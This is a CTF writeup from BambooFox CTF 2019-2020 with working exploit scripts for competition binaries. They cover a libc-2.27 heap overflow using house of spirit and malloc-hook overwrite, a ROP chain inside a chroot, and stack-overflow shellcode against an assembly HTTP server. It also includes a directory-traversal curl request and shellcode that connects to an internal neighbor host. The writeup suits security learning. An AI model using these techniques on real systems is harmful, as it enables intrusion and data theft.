CTFするぞ

CTF以外のことも書くよ

BambooFox CTF 2019-2020 Writeup

BambooFox CTF had been held from December 31th to January 1st. I played it a bit in zer0pts and we stood 5th place.

f:id:ptr-yudai:20200101194022p:plain

All of the pwn-related tasks were very fun! Thank you for hosting the CTF and happy new year :)

Other members' writeups:

st98.github.io

furutsuki.hatenablog.com

[Pwn 323pts] note

A 64-bit ELF and libc-2.27 are distributed.

$ checksec -f note
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   85 Symbols     Yes      0               6       note

It's a normal heap challenge and the vulnerability is pretty obvious. In the copy function, it sets the size of the destination note into the return value of snprintf. snprintf will not return the copied size but the given input size, so it can be the cause of heap overflow. I used __malloc_hook as it allocates chunk with calloc. However, none of the one gadget work. Even though rcx points to NULL, it crashes within movaps as always. So, I put one gadget to __relloc_hook and "call realloc gadget" to __malloc_hook in order to align the stack.

from ptrlib import *

def add(size):
    sock.sendlineafter(": ", "1")
    sock.sendlineafter(": ", str(size))
    return
def edit(index, data):
    sock.sendlineafter(": ", "2")
    sock.sendlineafter(": ", str(index))
    sock.sendafter(": ", data)
    return
def show(index):
    sock.sendlineafter(": ", "3")
    sock.sendlineafter(": ", str(index))
    return sock.recvline().rstrip(b'*')
def copy(src, dst):
    sock.sendlineafter(": ", "4")
    sock.sendlineafter(": ", str(src))
    sock.sendlineafter(": ", str(dst))
    return
def delete(index):
    sock.sendlineafter(": ", "5")
    sock.sendlineafter(": ", str(index))
    return

libc = ELF("./libc-2.27.so")
#sock = Process("./note")
sock = Socket("34.82.101.212", 10001)
libc_main_arena = 0x3ebc40
libc_one_gadget = 0x4f2c5
call_realloc = 0x1524d0

# leak libc
add(0x38)  # 0
add(0x18)  # 1
add(0x3f8) # 2
add(0x68)  # 3
edit(3, (p64(0)+p64(0x21))*6)
edit(0, b"A"*0x2f)
copy(0, 1)
edit(1, b"B"*0x18+p64(0x431))
delete(2)
libc_base = u64(show(1)[0x20:0x28]) - libc_main_arena - 0x60
logger.info("libc base = " + hex(libc_base))
delete(0)
delete(3)

# evict tache
add(0x68) # 0
for i in range(7):
    add(0x68) # 2
    delete(2)
delete(0)

# house of spirit
edit(1, b'B'*0x18+p64(0x71)+p64(libc_base + libc.symbol('__malloc_hook') - 0x23))
add(0x68) # 0
add(0x68) # 2
payload = b'\x00'*0xb
payload += p64(libc_base + libc_one_gadget)
payload += p64(libc_base + call_realloc)
edit(2, payload)

# get the shell!
sock.sendlineafter(": ", "1")
sock.sendlineafter(": ", "123")

sock.interactive()

[Pwn 357pts] APP I

We're given a statically linked ELF binary.

$ checksec -f app
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   1806 Symbols     Yes    0               39      app

It has a simple stack overflow and thus it seems easy to get the shell. However, as the environment is under chroot, we need to craft a rop chain to read and write the contents of /flag1. Still, it's so easy and I can't understand why much more people solved note than this one.

from ptrlib import *
import time

elf = ELF("./app")
#sock = Process("./app")
sock = Socket("34.82.101.212", 10011)
rop_pop_rdi = 0x00400686
rop_pop_rsi = 0x00410083
rop_pop_rdx = 0x0044b9b6
rop_pop_rax = 0x00415234
rop_syscall = 0x00474a05
addr_path = elf.section('.bss') + 0x100
addr_flag = elf.section('.bss') + 0x200

payload = b'A' * 0x108
payload += p64(rop_pop_rdi)
payload += p64(addr_path)
payload += p64(elf.symbol('gets')) # gets(path)
payload += p64(rop_pop_rsi)
payload += p64(0)
payload += p64(rop_pop_rdi)
payload += p64(addr_path)
payload += p64(rop_pop_rax)
payload += p64(2)
payload += p64(rop_syscall) # open(path, O_RDNLY)
payload += p64(rop_pop_rdx)
payload += p64(0x30)
payload += p64(rop_pop_rsi)
payload += p64(addr_flag)
payload += p64(rop_pop_rdi)
payload += p64(3)
payload += p64(rop_pop_rax)
payload += p64(0)
payload += p64(rop_syscall) # read(fd, flag, 0x40)
payload += p64(rop_pop_rdx)
payload += p64(0x30)
payload += p64(rop_pop_rsi)
payload += p64(addr_flag)
payload += p64(rop_pop_rdi)
payload += p64(1)
payload += p64(rop_pop_rax)
payload += p64(1)
payload += p64(rop_syscall) # write(1, flag, 0x40)


payload += p64(rop_pop_rdx)
payload += p64(0)
payload += p64(rop_pop_rax)
payload += p64(59)
payload += p64(rop_syscall)
sock.sendline(payload)
time.sleep(0.1)
sock.sendline("/flag1")

sock.interactive()

[Rev 37pts] How2decompyle

Given a pyc file, I decompiled it and just wrote a decoder.

table = 'abcdefghijklmnopqrstuvwxyz_'

restrictions = [
    'uudcjkllpuqngqwbujnbhobowpx_kdkp_',
    'f_negcqevyxmauuhthijbwhpjbvalnhnm',
    'dsafqqwxaqtstghrfbxzp_x_xo_kzqxck',
    'mdmqs_tfxbwisprcjutkrsogarmijtcls',
    'kvpsbdddqcyuzrgdomvnmlaymnlbegnur',
    'oykgmfa_cmroybxsgwktlzfitgagwxawu',
    'ewxbxogihhmknjcpbymdxqljvsspnvzfv',
    'izjwevjzooutelioqrbggatwkqfcuzwin',
    'xtbifb_vzsilvyjmyqsxdkrrqwyyiu_vb',
    'watartiplxa_ktzn_ouwzndcrfutffyzd',
    'rqzhdgfhdnbpmomakleqfpmxetpwpobgj',
    'qggdzxprwisr_vkkipgftuvhsizlc_pbz',
    'jerzhlnsegcaqzathfpuufwunakdtceqw',
    'lbvlyyrugffgrwo_v_zrqvqszchqrrljq',
    'aiwuuhzbszvfpidwwkl_wynlujbsbhfox',
    'vmhrizxtiegxdxsqcdoiyxkffloudwtxg',
    'tffjnabob_jbf_qiszdsemczghnjysmah',
    'zrqkppvynlkelnevngwlkhgaputhoagtt',
    'nl_oojyafwoqccbedijmigpedkdzglq_f',
    'cksy_skctjlyxktuzchvstunyvcvabomc',
    'ppcxleeguvhvhengmvac_bykhzqohjuei',
    '_clmaicjrrzhwd_fescyaejtbyefxyihy',
    'hhopvwsmjtpjiffzatyhjrev_dwnsidyo',
    'sjevtrmkkk_zjalxrxfovjsbcxjx_pskp',
    'gnynwuuqypddbsylparpcczqimimqmvdl',
    'bxitcmhnmanwuhvjxnqeoiimlegrmkjra']

flag = ''
for i in range(len(restrictions[0])):
    for c in table:
        for restriction in restrictions:
            if c == restriction[i]:
                break
        else:
            flag += c

print(flag)

[Rev 115pts] Move or not

It's a simple x86-64 ELF. We're asked 2 numbers when executing the file. First one is easy as it just compares the input with a constant number 0x18070. The second one is the key to unpack the machine code. The program just adds key-49 to the machine code byte by byte and thus key is a value between 0 to 255. I found the only value which won't crash the program was 50 by brute forcing. Now, making breakpoint before strcmp and checking the argument reveals the flag.

pwndbg> break *0x55a3b2f07919
Breakpoint 2 at 0x55a3b2f07919
pwndbg> conti
Continuing.
First give me your password: 98416
Second give me your key: 50
Then Verify your flag: 123

Breakpoint 2, 0x000055a3b2f07919 in ?? ()
Breakpoint *0x55a3b2f07919
pwndbg> x/1s $rdi
0x55a3b3108100: "BambooFox{dyn4mic_1s_4ls0_gr34t}"

[Web+Pwn 769pts] NEW

When I tried this challenge, @st98 had already found the source code of the HTTP server in previous challenge "HAPPY." The server is written in assembly language. The vulnerability is obvious in read_req_path in http.asm. Although it initialized stack by enter 1000, 0, the request size is allowed to be up to 1024.

read_req_path:

    enter 1000, 0

read_req_path_start:

    mov rax, 0          ; sys_read
    mov rdi, [sockfd]   ; read from client
    lea rsi, [rbp-1000]   ; store in req_path
    mov rdx, 1024       ; read only 1 line (<=1 KB)
    syscall

NX and PIE are disabled and thus we can just run our shellcode! I tried to execute the shell but it didn't work in remote because of chroot maybe. So, I just listed up all files in ../flags and read it by directory traversal vulnerability already found by st98.

_start:
  mov rdx, rdi
  shr rdx, 16
  shl rdx, 16
  add dx, 0xb00
  mov r15, rdx                  ; r15 = 0x600b00

  mov rdx, r15
  add dl, 0x24
  mov rdi, [rdx]
  xor esi, esi
  mov al, 33
  syscall                       ; dup2([0x600b24], 0)

  mov rdx, r15
  add dl, 0x24
  mov rdi, [rdx]
  xor esi, esi
  inc esi
  mov al, 33
  syscall                       ; dup2([0x600b24], 1)

  mov rdx, r15
  add dx, 0x100
  mov rax, 0x7367616c662f2e2e
  mov [rdx], rax
  
  mov rdi, rdx
  xor eax, eax
  xor edx, edx
  xor esi, esi
  mov al, 2
  syscall                       ; open(".", O_RDONLY)

  mov rdi, rax
  xor edx, edx
  xor eax, eax
  mov dx, 0x3210
  sub rsp, rdx
  mov rsi, rsp
  mov al, 78
  syscall                       ; getdents(fd, rsp, 0x3210)

  xchg rax, rdx
  xor eax, eax
  xor edi, edi
  inc eax
  inc edi
  mov rsi, rsp
  syscall                       ; write(1, rsp, rdx)
  
here:
  nop
  jmp here

Sending this shellcode reveals the existence of flag2-99754106633f94d350db34d548d6091a.txt.

from ptrlib import *

#sock = Socket("localhost", 8888)
sock = Socket("34.82.101.212", 8001)
addr_shellcode = 0x600a94 + 2
with open("shellcode.o", "rb") as f:
    f.seek(0x180)
    shellcode = f.read(0x100)
    shellcode = shellcode[:shellcode.index(b'EOF')]

payload = b"GET /"
payload += shellcode
payload += b"A" * (1000 - len(payload))
payload += p64(0)
payload += p64(addr_shellcode)
sock.sendline(payload)

sock.interactive()

Directory traversal:

$ curl --path-as-is "http://34.82.101.212:8001/../../../../home/web/flags/flag2-99754106633f94d350db34d548d6091a.txt"

[Web+Misc 833pts] YEAR

Same server as challenge NEW. The challenge description says we need to access to http://neighbor/flag3.txt from inside the server. I read /etc/hosts by directory traversal and found the server working as 172.18.0.3. So, neighbor would have similar IP address. We could run shellcode in the previous challenge and I just changed the shellcode into one that connects to 172.18.0.X:80, sends GET /flag3.txt and reads the response.

_start:
  mov rdx, rdi
  shr rdx, 16
  shl rdx, 16
  add dx, 0xb00
  mov r15, rdx                  ; r15 = 0x600b00

  mov rdx, r15
  add dl, 0x24
  mov r13, [rdx]

;;; HTTP client
  push 0x020012ac               ; Address (172.18.0.2)
  push word 0x5000              ; Port (80)
  push word 2                   ; Address family
  push 42                       ;  connect syscall
  push byte 16                  ;  length
  push byte 41                  ;  socket syscall
  push byte 1                   ;  type (SOCK_STREAM)
  push byte 2                   ;  family (AF_INET)
  pop rdi                       ; family
  pop rsi                       ; type
  xor edx, edx                  ; protocol
  pop rax                       ; SYS_socket
  syscall

  mov r14, rax
  mov rdi, rax                  ; sockfd
  pop rdx                       ; length
  pop rax                       ; SYS_connect
  mov rsi, rsp                  ; sockaddr
  syscall

  mov rsi, r15
  add si, 0x210
  mov rdi, r13
  xor eax, eax
  syscall                       ; read(fd, url, 0x10);
  
  mov rdi, r14                  ; sockfd
  xor eax, eax
  inc eax                       ; SYS_write
  syscall

  mov dx, 0x100
  xor eax, eax                  ; SYS_read
  syscall

  mov rdi, r13
  xor eax, eax
  inc eax
  syscall                       ; SYS_write

I changed the IP and found the flag on 172.18.0.2.